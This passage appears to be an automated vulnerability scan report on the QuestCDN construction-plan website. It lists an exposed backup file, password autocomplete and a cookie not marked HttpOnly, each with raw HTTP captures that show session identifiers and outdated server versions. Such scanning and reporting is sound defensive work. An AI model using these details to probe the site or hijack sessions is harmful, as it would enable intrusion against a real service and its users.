onmouseout="this.src='{!a:appContext!}/images/buttons/bu_main_member.gif'" onClick="return displayMemberBenefits('{!a:appContext!}')"></A></TD> <TD><A href=""><IMG height="28" alt="Provider Benefits" src="{!a:appContext!}/images/buttons/bu_main_provider.gif" width="125" border="0" name="b_main_provider" onmouseover="this.src='{!a:appContext!}/images/buttons/bd_main_provider.gif'" onmouseout="this.src='{!a:appContext!}/images/buttons/bu_main_provider.gif'" onClick="return displayProviderBenefits('{!a:appContext!}')"></A></TD> <TD><A href=""><IMG height="28" alt="Demonstration" src="{!a:appContext!}/images/buttons/bu_main_classif.gif" width="109" border="0" name="b_main_demo" onmouseover="this.src='{!a:appContext!}/images/buttons/bd_main_classif.gif'" onmouseout="this.src='{!a:appContext!}/images/buttons/bu_main_classif.gif'" onClick="return displayDemo()"></A></TD> <TD><IMG height="28" alt="Classified Ads" src="{!a:appContext!}/images/buttons/bu_classif.gif" width="101" border="0" name="b_main_classified" onmouseover="this.src='{!a:appContext!}/images/buttons/bu_classif.gif'" onmouseout="this.src='{!a:appContext!}/images/buttons/bu_classif.gif'" onClick="return false"></TD> </TR> </TABLE></TD> </TR> </TBODY> </TABLE> </TD> </TR> <TR height=5> <TD height=5></TD> </TR> <TR> <TD><IMG height=108 alt="" src="{!a:appContext!}/images/elements/el_log_photos.jpg" width=760 border=0></TD></TR> <TR height=30> <TD height=30></TD></TR> <TR> <TD> <TABLE cellSpacing=0 cellPadding=0 width=760 border=0> <TBODY> <TR> <TD vAlign=top align=middle width=277> <TABLE cellSpacing=0 cellPadding=0 width=277 border=0> <TBODY> <TR height=70> <TD width=75 height=70></TD> <TD width=10 height=70></TD> <TD height=70></TD> </TR> <tr> <td width="380" colspan="3" align="right"> <!--#IF defined="<?d:SESSION_TIMED_OUT?>"--> <p class="body-bold" height="22" border="0" style="color:red">Your session timed out or<BR> you were not logged in.<br></p> <!--#ELSEIF defined="<?d:SHOW_LOGIN_ERROR_MSG?>"--> <p class="body-bold" height="22" border="0" style="color:red">Incorrect username or password.<p> <!--#ELSE--> <!--#/IF--> </td> </tr> <TR> <TD width=75></TD> <TD width=10></TD> <TD><IMG height=20 alt="Log In" src="{!a:appContext!}/images/headers/log_on/hd_log_login.gif" width=60 border=0></TD> </TR> <TR height=5> <TD width=75 height=5></TD> <TD width=10 height=5></TD> <TD height=5></TD> </TR> <TR> <TD align=right width=80> <P class=body11>user name:</P></TD> <TD width=10></TD> <TD><INPUT style="FONT-SIZE: 14px; FONT-FAMILY: Courier" size="24" name="username" value="{!d:username!}"></TD> </TR> <TR height=10> <TD width=75 height=10></TD> <TD width=10 height=10></TD> <TD height=10></TD></TR> <TR> <TD align=right width=75> <P class=body11>password:</P></TD> <TD width=10></TD> <TD><INPUT style="FONT-SIZE: 14px; FONT-FAMILY: Courier" type="password" size="24" name="password"></TD> </TR> <TR height=20> <TD width=75 height=20></TD> <TD width=10 height=20></TD> <TD height=20></TD></TR> <TR> <TD width=75></TD> <TD width=10></TD> <TD><CSOBJ w="69" t="Button" ht="{!a:appContext!}/images/buttons/bd_submit.gif" h="20" al="submit"><A href=""><IMG height=20 alt=submit src="{!a:appContext!}/images/buttons/bu_submit.gif" width=69 border=0 name=b_log_submit onClick="document.userdata.submit(); return false;" onmouseover="this.src='{!a:appContext!}/images/buttons/bd_submit.gif'" onmouseout="this.src='{!a:appContext!}/images/buttons/bu_submit.gif'"></A><input type="submit" value="" style="width:0;background-color:#FFFFFF;border:0;"></TD> </TR> <tr> <td width="75"></td> <td width="10"></td> <td width="185"><a href="forgotPassword.html">Forgot Password?</a></td> </tr> <TR height=50> <TD width=75 height=50></TD> <TD width=10 height=50></TD> <TD height=50></TD> </TR> <TR> <TD width=75></TD> <TD width=10></TD> <TD><IMG height=20 alt="New Member" src="{!a:appContext!}/images/headers/log_on/hd_log_new.gif" width=125 border=0></TD></TR> <TR height=5> <TD width=75 height=5></TD> <TD width=10 height=5></TD> <TD height=5></TD></TR> <TR> <TD width=75></TD> <TD width=10></TD> <TD> <P class=body>For <B><FONT color=#126666>FREE</FONT></B> membership please click the "join" button below</P></TD></TR> <TR height=20> <TD width=75 height=20></TD> <TD width=10 height=20></TD> <TD height=20></TD></TR> <TR> <TD width=75></TD> <TD width=10></TD> <TD><A href="{!a:secureHTTP!}{!s:showPage!}subscribe/sub_form.html?root_page=true"> <IMG height="20" alt="join" src="{!a:appContext!}/images/buttons/bu_log_join.gif" width="69" border="0" name="b_log_join" onmouseover="this.src='{!a:appContext!}/images/buttons/bd_log_join.gif'" onmouseout="this.src='{!a:appContext!}/images/buttons/bu_log_join.gif'" > </A> </TD> </TR> </TBODY> </TABLE><BR><BR><BR><BR><BR><IMG height=229 alt="" src="{!a:appContext!}/images/elements/el_main_logos.jpg" width=150 border=0></TD> <TD width=60></TD> <TD vAlign=top width=423> <TABLE cellSpacing=0 cellPadding=0 width=375 border=0> <TBODY> <TR> <TD width=375 colSpan=2><IMG height=70 alt=Welcome src="{!a:appContext!}/images/elements/el_log_welcome.jpg" width=275 border=0></TD></TR> <TR height=20> <TD width=10 height=20></TD> <TD width=365 height=20></TD></TR> <TR> <TD width=375 colSpan=2> <P class=body><B><FONT color=#126666>Welcome</FONT></B> to the Quest Construction Data Network - the state of the art in cost effective project advertising and secure digital plan delivery. Our innovative service delivers complete, high quality digital plan sets in the easy to use Adobe PDF format. With QuestCDN there is no middleman – plan providers post their own project advertisements and upload their plans – and once there – they are immediately available to you for downloading!<BR><BR>When you join you will be offered the option of becoming a Regular Member <B><FONT color=#126666>(FREE)</FONT></B> or a Premier Member for an economical, additional subscription fee.</P></TD></TR> <TR height=30> <TD width=10 height=30></TD> <TD width=365 height=30></TD></TR> <TR> <TD width=375 colSpan=2> <P class=body><B><FONT color=#126666>Regular Members may: </FONT></B></P></TD></TR> <TR height=10> <TD width=10 height=10></TD> <TD width=365 height=10></TD></TR> <TR> <TD width=10> <P class=body>•</P></TD> <TD width=365> <P class=body>view the detailed projectadvertisement</P></TD></TR> <TR height=10> <TD width=10 height=10></TD> <TD width=365 height=10></TD></TR> <TR> <TD width=10> <P class=body>•</P></TD> <TD width=365> <P class=body>download the complete eBidDoc™ (digital plan set)</P></TD></TR> <TR height=10> <TD width=10 height=10></TD> <TD width=365 height=10></TD></TR> <TR> <TD width=10>•</TD> <TD width=365> <P class=body>retrieve plan holder information </P></TD></TR> <TR height=10> <TD width=10 height=10></TD> <TD width=365 height=10></TD></TR> <TR> <TD width=10> <P class=body>•</P></TD> <TD width=365> <P class=body>receive emailed addenda notifications</P></TD></TR> <TR height=10> <TD width=10 height=10></TD> <TD width=365 height=10></TD></TR> <TR> <TD width=10> <P class=body>•</P></TD> <TD width=365> <P class=body>view project bid results</P></TD></TR> <TR height=10> <TD width=10 height=10></TD> <TD width=365 height=10></TD></TR> <TR> <TD width=10> <P class=body>•</P></TD> <TD width=365> <P class=body>access the comprehensive industry directory </P></TD></TR> <TR height=10> <TD width=10 height=10></TD> <TD width=365 height=10></TD></TR> <TR> <TD width=10> <P class=body>•</P></TD> <TD width=365> <P class=body>compose and maintain their own directory listing</P></TD></TR> <TR height=10> <TD width=10 height=10></TD> <TD width=365 height=10></TD></TR> <TR> <TD width=10> <P class=body>•</P></TD> <TD width=365> <P class=body>post classified advertisements </P></TD></TR> <TR height=30> <TD width=10 height=30></TD> <TD width=365 height=30></TD></TR> <TR> <TD width=375 colSpan=2> <P class=body><B><FONT color=#126666>Premier Members may also: </FONT></B></P></TD></TR> <TR height=10> <TD width=10 height=10></TD> <TD width=365 height=10></TD></TR> <TR> <TD vAlign=top width=10> <P class=body>•</P></TD> <TD width=365> <P class=body>browse and search a comprehensiv..
- /questcdn/reports/reports.html~
/questcdn/reports/reports.html~
|
Request
GET /questcdn/reports/reports.html~ HTTP/1.1
Referer: http://www.questcdn.com/questcdn/reports/reports.html~
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Cookie: sessionIdentifier=/5196948904207894690
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:41:18 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
ETag: W/"1264-1207183577000"
Last-Modified: Thu, 03 Apr 2008 00:46:17 GMT
Content-Length: 1264
Content-Type: text/plain
<!--#REQUIRED data="<?s:privmember?>" -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE>Quest Construction Data Network</TITLE>
<META http-equiv=content-type content=text/html;charset=ISO-8859-1>
<link href="{!a:appContext!}/css_scripts/verdana.css" rel="stylesheet" media="screen">
<link href="{!a:appContext!}/css_scripts/looknfeel.css" rel="stylesheet" media="screen">
</HEAD>
<BODY vlink="#666633" link="#126666" bgColor="#ffffff" >
<!--#EMBED template="embeds/header_links.html" -->
<tr><td>
<table border="0" cellspacing="0" cellpadding="0">
<tr><td>
<table width="240" class="left_list" border="0" cellspacing="0" cellpadding="0">
<tr><td> </td></tr>
<tr><td class="left_list_title">
</td></tr>
<tr><td class="left_list"> </td></tr>
<tr><td class="left_list">
<a href="rep_select_project.html">Addenda Notifications</a>
</td></tr>
<tr><td class="left_list">
<a href="plan_holders_rpt_select_job.html?&userPK={!s:userPK!}">Plan Holders</a>
</td></tr>
<tr><td> </td></tr>
<tr><td> </td></tr>
<tr><td><p class="body10"><font size="1" face="Verdana">#-COPYRIGHT-#</font></p></td></tr>
</TABLE>
<P></P>
</BODY>
</HTML>
Auto Complete Enabled
Auto Complete Enabled
"Auto Complete" was enabled in one or more of the form fields. These were either "password" fields or important fields such as "Credit Card".
Impact
Data entered in these fields will be cached by the browser. An attacker who can access the victim's browser could steal this information. This is especially important if the application is commonly used in shared computers such as cyber cafes or airport terminals.
Add the attribute autocomplete="off"
to the form tag or to individual "input" fields.
Actions to Take
- See the remedy for the solution.
- Find all instances of inputs which store private data and disable autocomplete. Fields which contain data such as "Credit Card" or "CCV" type data should not be cached. You can allow the application to cache usernames and remember passwords, however, in most cases this is not recommended.
- Re-scan the application after addressing the identified issues to ensure that all of the fixes have been applied properly.
Required Skills for Successful Exploitation
Dumping all data from a browser can be fairly easy and there exist a number of automated tools to undertake this. Where the attacker cannot dump the data, he/she could still browse the recently visited websites and activate the auto-complete feature to see previously entered values.
External References
- /questcdn/projects/prj_add_mod/project_modify_grid.html
/questcdn/projects/prj_add_mod/project_modify_grid.html
CONFIRMED
|
password
Request
GET /questcdn/projects/prj_add_mod/project_modify_grid.html HTTP/1.1
Referer: http://www.questcdn.com/questcdn/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Cookie: sessionIdentifier=/8065817978969251119
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:36:00 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/8065817978969251119; Expires=Thu, 03-Mar-2011 23:36:00 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 29737
Content-Type: text/html;charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><!-- saved from url=(0042)http://www.theborngroup.com/clients/quest/ --><html xmlns="http://www.w3.org/1999/xhtml"><head> <title>Quest Construction Data Network</title> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"/> <meta content="MSHTML 6.00.2800.1226" name="GENERATOR"/> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/welcome.css" media="screen"/><!--embed so we can use some of the substitution capabilities--> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/menuQuestCDN.css" media="screen"/>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/validation.js"></script>
<script type="text/javascript" language="JavaScript1.2">
var pageUrl, currentTab, currentSubTab;
var currentClassName = 'current';
var disabledClassName = 'disabled';
var currentTabName = 'current_tab';
var currentSubTabName = 'current_sub_tab';
var sCurrentTab = '';
var sCurrentSubTab = '';
var siteMenuClassName = 'siteMenu';
var siteSubMenuClassName = 'siteSubMenu';
var pageMenuClassName = 'pageMenu';
function initTab()
{
//alert('initTab');
getPageUrl();
//alert('sCurrentTab:[] sCurrentSubTab:[]');
setCurrentTab(null, '');
initMenu(siteMenuClassName);
initMenu(siteSubMenuClassName);
initMenu(pageMenuClassName);
}
function getPageUrl()
{
pageUrl = window.location.href;
var pos = pageUrl.indexOf('?');
if (pos > 0)
pageUrl = pageUrl.substring(0, pos);
currentTab = getCurrent(null, currentTabName);
currentSubTab = getCurrent(null, currentSubTabName);
pageUrl = addTabInfo(pageUrl, currentTab, currentSubTab);
}
function initMenu(menuClassName)
{
var menuObj = document.getElementById(menuClassName);
if (menuObj != null)
{
var mainMenu = menuObj.getElementsByTagName('UL')[0];
if (mainMenu != null)
{
var menuElements = mainMenu.getElementsByTagName('LI');
if (menuElements != null && menuElements.length > 0)
{
var mainMenuItem = menuElements[0];
mainMenu.style.height = mainMenuItem.offsetHeight + 2 + 'px';
while(mainMenuItem)
{
if(mainMenuItem.tagName == 'LI')
{
mainMenuItem.style.cssText = 'float:left;';
mainMenuItem.style.styleFloat = 'left';
}
mainMenuItem = mainMenuItem.nextSibling;
}
}
}
}
}
function isHomePage()
{
var isHome = false;
if (pageUrl != null && (
pageUrl.indexOf('welcome') > 0 || pageUrl.indexOf('questLogin') > 0 ||
pageUrl.indexOf('index.html') > 0 || pageUrl.charAt(pageUrl.length - 1) == '/'
))
isHome = true;
//alert('url:' + pageUrl.charAt(pageUrl.length - 1));
//alert('isHome:' + isHome);
return isHome;
}
function getParameter(name)
{
name = name.replace(/[\[]/, '\\\[').replace(/[\]]/, '\\\]');
var regexS = '[\\?&]' + name + '=([^&#]*)';
var regex = new RegExp(regexS);
var results = regex.exec(window.location.href);
if (results == null)
return '';
else
return results[1];
}
function isSelected(item)
{
var selected = false;
var className = getClass(item);
if (className == currentClassName)
selected = true;
return selected;
}
function isDisabled(item)
{
var disabled = false;
var className = getClass(item);
//alert('id:' + item.id + ' className:' + className);
if (className == disabledClassName)
disabled = true;
return disabled;
}
function setSelected(item)
{
if (item != undefined)
{
var mItems = item.parentNode.parentNode.getElementsByTagName('a');
for (var i = 0; i < mItems.length; i++)
{
if (!isDisabled(mItems[i]))
setClass(mItems[i], '');
}
if (!isDisabled(item))
setClass(item, currentClassName);
}
}
function setClass(item, className)
{
item.setAttribute('class', className);
item.setAttribute('className', className);
}
function getClass(item)
{
var className = item.getAttribute('class');
if (className == null || className.length == 0)
className = item.getAttribute('className', className);
return className;
}
function getCurrent(sessData, name)
{
var parmData = getParameter(name);
return (parmData == '' ? sessData : parmData);
}
function setLocation(url, tab, subtab)
{
var root = '/questcdn/action/';
var pos = url.indexOf('.html');
if (pos > 0)
root = '/questcdn/setTab/';
url = root + url;
window.location.href = addTabInfo(url, tab, subtab);
}
function addTabInfo(url, tab, subtab)
{
if (tab != undefined)
{
url += '?current_tab=' + tab;
if (subtab != undefined)
url += '¤t_sub_tab=' + subtab;
}
return url;
}
function setCurrentTab(item, currentTab)
{
//alert('currentTab:' + currentTab + ' pCurrentTab:' + getParameter(currentTabName));
if (item == undefined)
{
currentTab = getCurrent(currentTab, currentTabName);
if ((currentTab == null || currentTab.length == 0) && isHomePage())
currentTab = 'home';
if (!isHomePage() && currentTab == 'home')
currentTab = null;
//alert('currentTab:' + currentTab);
if (currentTab != null && currentTab.length > 0)
{
item = document.getElementById(currentTab);
setSelected(item);
}
var obj = document.getElementById('siteSubMenu');
if (obj != null)
{
var mItems = obj.getElementsByTagName('a');
if (mItems.length == 0)
obj.style.display = 'none';
}
var cst = getCurrent(sCurrentSubTab, currentSubTabName);
//alert('cst:' + cst);
if (cst != null)
setSelected(document.getElementById(cst));
}
else if (item != undefined && !isSelected(item) && !isDisabled(item))
{
var url = null;
var subtab = null;
switch(item.id)
{
case 'home':
//alert('Clicked Home!');
url = 'welcome.html';
break;
case 'projects':
//alert('Clicked Projects!');
url = 'projects/prj_browse/project_browse_grid.html';
subtab = 'find';
break;
case 'industry_directory':
//alert('Clicked Industry Directory!');
url = 'industry/ind_browse/ind_browse_f.html';
subtab = 'indbrowse';
break;
case 'myAccount':
//alert('Clicked My Account!');
url = 'account/acc_mod/acc_mod.html';
subtab = 'accModify';
break;
case 'memberBenefits':
displayMemberBenefits('/questcdn');
break;
case 'providerBenefits':
displayProviderBenefits('/questcdn');
break;
case 'demonstration':
displayDemo('/questcdn');
break;
case 'classifiedAds':
var className = getClass(item);
alert('className:' + className);
//displayDemo('/questcdn');
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
{
setSelected(item);
setLocation(url, item.id, subtab);
}
}
}
function siteHeaderMenuClick(item)
{
if (item != null)
{
var url = null;
switch(item.id)
{
case 'contactQuest':
displayContactQuest('/questcdn');
break;
case 'faqs':
url = 'faqs/faq.html';
break;
case 'logout':
url = 'questLogout';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url);
}
}
function projectsMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'projects';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'find':
url = 'projects/prj_browse/project_browse_grid.html';
break;
case 'myprojects':
url = 'projects/MyProjects/my_projects.html';
break;
case 'results':
//url = 'projects/prj_view/prj__browse_f1.html';
url = 'projects/prj_view/project_view_grid.html';
break;
case 'add':
url = 'projects/prj_add_mod/prj_add.html';
break;
case 'modify':
//url = 'ShowProjListPage';
url = 'projects/prj_add_mod/project_modify_grid.html';
break;
case 'reports':
url = 'reports/reports.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function industryMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'industry_directory';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'indBrowse':
url = 'industry/ind_browse/ind_browse_f.html';
break;
case 'indSearch':
url = 'industry/ind_search/ind_search.html';
break;
case 'indModify':
url = 'industry/ind_add_mod/ind_mod.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function accountMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'myAccount';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'accModify':
url = 'account/acc_mod/acc_mod.html';
break;
case 'accBilling':
url = '/questcdn/account/acc_bill/acc_bill.html';
window.open(url, 'billingWindow', 'height=400,width=500');
url = null;
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function showProjects()
{
var url = '/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects¤t_sub_tab=myprojects';
url += '&allMember=true';
location.href = url;
}
</script>
<script type="text/javascript" language="JavaScript1.2"> function loadPage() { document.userdata.submit(); } </script></head><body onload="document.userdata.username.focus()" bgcolor="#ffffff"><form name="userdata" action="/questcdn/action/questLogin" method="POST"> <input type="hidden" name="loginPagePath" value="index.html"/> <input type="hidden" name="root_page" value="true"/> <input type="hidden" name="nextPage" value=""/> <input type="hidden" name="jobPK" value=""/><!--$Header: embeds/menuQuestCDN.html 2010/09/21 enelsen $--> <table width="760" border="0" cellspacing="0" cellpadding="0"> <tr> <td> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td style="width:50%"><img alt="QuestCDN.COM" src="/questcdn/images/banners/QuestCDNLogo.gif"/></td> <td> <div id="siteHeaderMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="siteHeaderMenuClick(this);" id="contactQuest" title="Contact Quest"><span>Contact Quest</span></a></li> </ul> </div> </td> </tr> <tr> <td colspan="2"><div style="display:block;background:#666530"><img alt="" src="/questcdn/images/banners/QuestTagLine.gif"/></div></td> </tr> </table> </td> </tr> <tr> <td> <div id="siteMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="setCurrentTab(this);" id="memberBenefits" title="Member Benefits"><span>Member Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="providerBenefits" title="Provider Benefits"><span>Provider Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="demonstration" title="Demonstration"><span>Demonstration</span></a></li> <!--<li><a href="#" onclick="setCurrentTab(this);" id="classifiedAds" title="" class="disabled"><span>Classified Ads</span></a></li>--> </ul> </div> </td> </tr> <tr> <td> <div id="siteSubMenu" style="width:100%"> </div> </td> </tr> </table><script type="text/javascript" language="JavaScript1.2"> addLoadEvent(initTab);</script><table cellspacing="0" cellpadding="0" width="760" border="0"> <tr style="height:5"> <td></td> </tr> <tr> <td><img alt="" src="/questcdn/images/elements/el_log_photos.jpg" border="0"/></TD> </tr> <tr style="height:30"> <td></td> </tr> <TR> <TD> <TABLE cellSpacing=0 cellPadding=0 width=760 border=0> <TR> <TD vAlign=top align=middle width=277> <TABLE cellSpacing=0 cellPadding=0 width=277 border=0> <TR height=70> <TD width=75 height=70></TD> <TD width=10 height=70></TD> <TD height=70></TD> </..
Cookie Not Marked As HttpOnly
Cookie Not Marked As HttpOnly
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..
Impact
During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.
Actions to Take
- See the remedy for solution
- Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.
Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as
XSS Tunnel to bypass HTTPOnly protection.
External References
- /questcdn/
/questcdn/
CONFIRMED
|
sessionIdentifier
Request
GET /questcdn/ HTTP/1.1
Referer: http://www.questcdn.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:35:51 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/8065817978969251119; Expires=Thu, 03-Mar-2011 23:35:51 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 29737
Content-Type: text/html;charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><!-- saved from url=(0042)http://www.theborngroup.com/clients/quest/ --><html xmlns="http://www.w3.org/1999/xhtml"><head> <title>Quest Construction Data Network</title> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"/> <meta content="MSHTML 6.00.2800.1226" name="GENERATOR"/> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/welcome.css" media="screen"/><!--embed so we can use some of the substitution capabilities--> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/menuQuestCDN.css" media="screen"/>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/validation.js"></script>
<script type="text/javascript" language="JavaScript1.2">
var pageUrl, currentTab, currentSubTab;
var currentClassName = 'current';
var disabledClassName = 'disabled';
var currentTabName = 'current_tab';
var currentSubTabName = 'current_sub_tab';
var sCurrentTab = '';
var sCurrentSubTab = '';
var siteMenuClassName = 'siteMenu';
var siteSubMenuClassName = 'siteSubMenu';
var pageMenuClassName = 'pageMenu';
function initTab()
{
//alert('initTab');
getPageUrl();
//alert('sCurrentTab:[] sCurrentSubTab:[]');
setCurrentTab(null, '');
initMenu(siteMenuClassName);
initMenu(siteSubMenuClassName);
initMenu(pageMenuClassName);
}
function getPageUrl()
{
pageUrl = window.location.href;
var pos = pageUrl.indexOf('?');
if (pos > 0)
pageUrl = pageUrl.substring(0, pos);
currentTab = getCurrent(null, currentTabName);
currentSubTab = getCurrent(null, currentSubTabName);
pageUrl = addTabInfo(pageUrl, currentTab, currentSubTab);
}
function initMenu(menuClassName)
{
var menuObj = document.getElementById(menuClassName);
if (menuObj != null)
{
var mainMenu = menuObj.getElementsByTagName('UL')[0];
if (mainMenu != null)
{
var menuElements = mainMenu.getElementsByTagName('LI');
if (menuElements != null && menuElements.length > 0)
{
var mainMenuItem = menuElements[0];
mainMenu.style.height = mainMenuItem.offsetHeight + 2 + 'px';
while(mainMenuItem)
{
if(mainMenuItem.tagName == 'LI')
{
mainMenuItem.style.cssText = 'float:left;';
mainMenuItem.style.styleFloat = 'left';
}
mainMenuItem = mainMenuItem.nextSibling;
}
}
}
}
}
function isHomePage()
{
var isHome = false;
if (pageUrl != null && (
pageUrl.indexOf('welcome') > 0 || pageUrl.indexOf('questLogin') > 0 ||
pageUrl.indexOf('index.html') > 0 || pageUrl.charAt(pageUrl.length - 1) == '/'
))
isHome = true;
//alert('url:' + pageUrl.charAt(pageUrl.length - 1));
//alert('isHome:' + isHome);
return isHome;
}
function getParameter(name)
{
name = name.replace(/[\[]/, '\\\[').replace(/[\]]/, '\\\]');
var regexS = '[\\?&]' + name + '=([^&#]*)';
var regex = new RegExp(regexS);
var results = regex.exec(window.location.href);
if (results == null)
return '';
else
return results[1];
}
function isSelected(item)
{
var selected = false;
var className = getClass(item);
if (className == currentClassName)
selected = true;
return selected;
}
function isDisabled(item)
{
var disabled = false;
var className = getClass(item);
//alert('id:' + item.id + ' className:' + className);
if (className == disabledClassName)
disabled = true;
return disabled;
}
function setSelected(item)
{
if (item != undefined)
{
var mItems = item.parentNode.parentNode.getElementsByTagName('a');
for (var i = 0; i < mItems.length; i++)
{
if (!isDisabled(mItems[i]))
setClass(mItems[i], '');
}
if (!isDisabled(item))
setClass(item, currentClassName);
}
}
function setClass(item, className)
{
item.setAttribute('class', className);
item.setAttribute('className', className);
}
function getClass(item)
{
var className = item.getAttribute('class');
if (className == null || className.length == 0)
className = item.getAttribute('className', className);
return className;
}
function getCurrent(sessData, name)
{
var parmData = getParameter(name);
return (parmData == '' ? sessData : parmData);
}
function setLocation(url, tab, subtab)
{
var root = '/questcdn/action/';
var pos = url.indexOf('.html');
if (pos > 0)
root = '/questcdn/setTab/';
url = root + url;
window.location.href = addTabInfo(url, tab, subtab);
}
function addTabInfo(url, tab, subtab)
{
if (tab != undefined)
{
url += '?current_tab=' + tab;
if (subtab != undefined)
url += '¤t_sub_tab=' + subtab;
}
return url;
}
function setCurrentTab(item, currentTab)
{
//alert('currentTab:' + currentTab + ' pCurrentTab:' + getParameter(currentTabName));
if (item == undefined)
{
currentTab = getCurrent(currentTab, currentTabName);
if ((currentTab == null || currentTab.length == 0) && isHomePage())
currentTab = 'home';
if (!isHomePage() && currentTab == 'home')
currentTab = null;
//alert('currentTab:' + currentTab);
if (currentTab != null && currentTab.length > 0)
{
item = document.getElementById(currentTab);
setSelected(item);
}
var obj = document.getElementById('siteSubMenu');
if (obj != null)
{
var mItems = obj.getElementsByTagName('a');
if (mItems.length == 0)
obj.style.display = 'none';
}
var cst = getCurrent(sCurrentSubTab, currentSubTabName);
//alert('cst:' + cst);
if (cst != null)
setSelected(document.getElementById(cst));
}
else if (item != undefined && !isSelected(item) && !isDisabled(item))
{
var url = null;
var subtab = null;
switch(item.id)
{
case 'home':
//alert('Clicked Home!');
url = 'welcome.html';
break;
case 'projects':
//alert('Clicked Projects!');
url = 'projects/prj_browse/project_browse_grid.html';
subtab = 'find';
break;
case 'industry_directory':
//alert('Clicked Industry Directory!');
url = 'industry/ind_browse/ind_browse_f.html';
subtab = 'indbrowse';
break;
case 'myAccount':
//alert('Clicked My Account!');
url = 'account/acc_mod/acc_mod.html';
subtab = 'accModify';
break;
case 'memberBenefits':
displayMemberBenefits('/questcdn');
break;
case 'providerBenefits':
displayProviderBenefits('/questcdn');
break;
case 'demonstration':
displayDemo('/questcdn');
break;
case 'classifiedAds':
var className = getClass(item);
alert('className:' + className);
//displayDemo('/questcdn');
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
{
setSelected(item);
setLocation(url, item.id, subtab);
}
}
}
function siteHeaderMenuClick(item)
{
if (item != null)
{
var url = null;
switch(item.id)
{
case 'contactQuest':
displayContactQuest('/questcdn');
break;
case 'faqs':
url = 'faqs/faq.html';
break;
case 'logout':
url = 'questLogout';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url);
}
}
function projectsMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'projects';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'find':
url = 'projects/prj_browse/project_browse_grid.html';
break;
case 'myprojects':
url = 'projects/MyProjects/my_projects.html';
break;
case 'results':
//url = 'projects/prj_view/prj__browse_f1.html';
url = 'projects/prj_view/project_view_grid.html';
break;
case 'add':
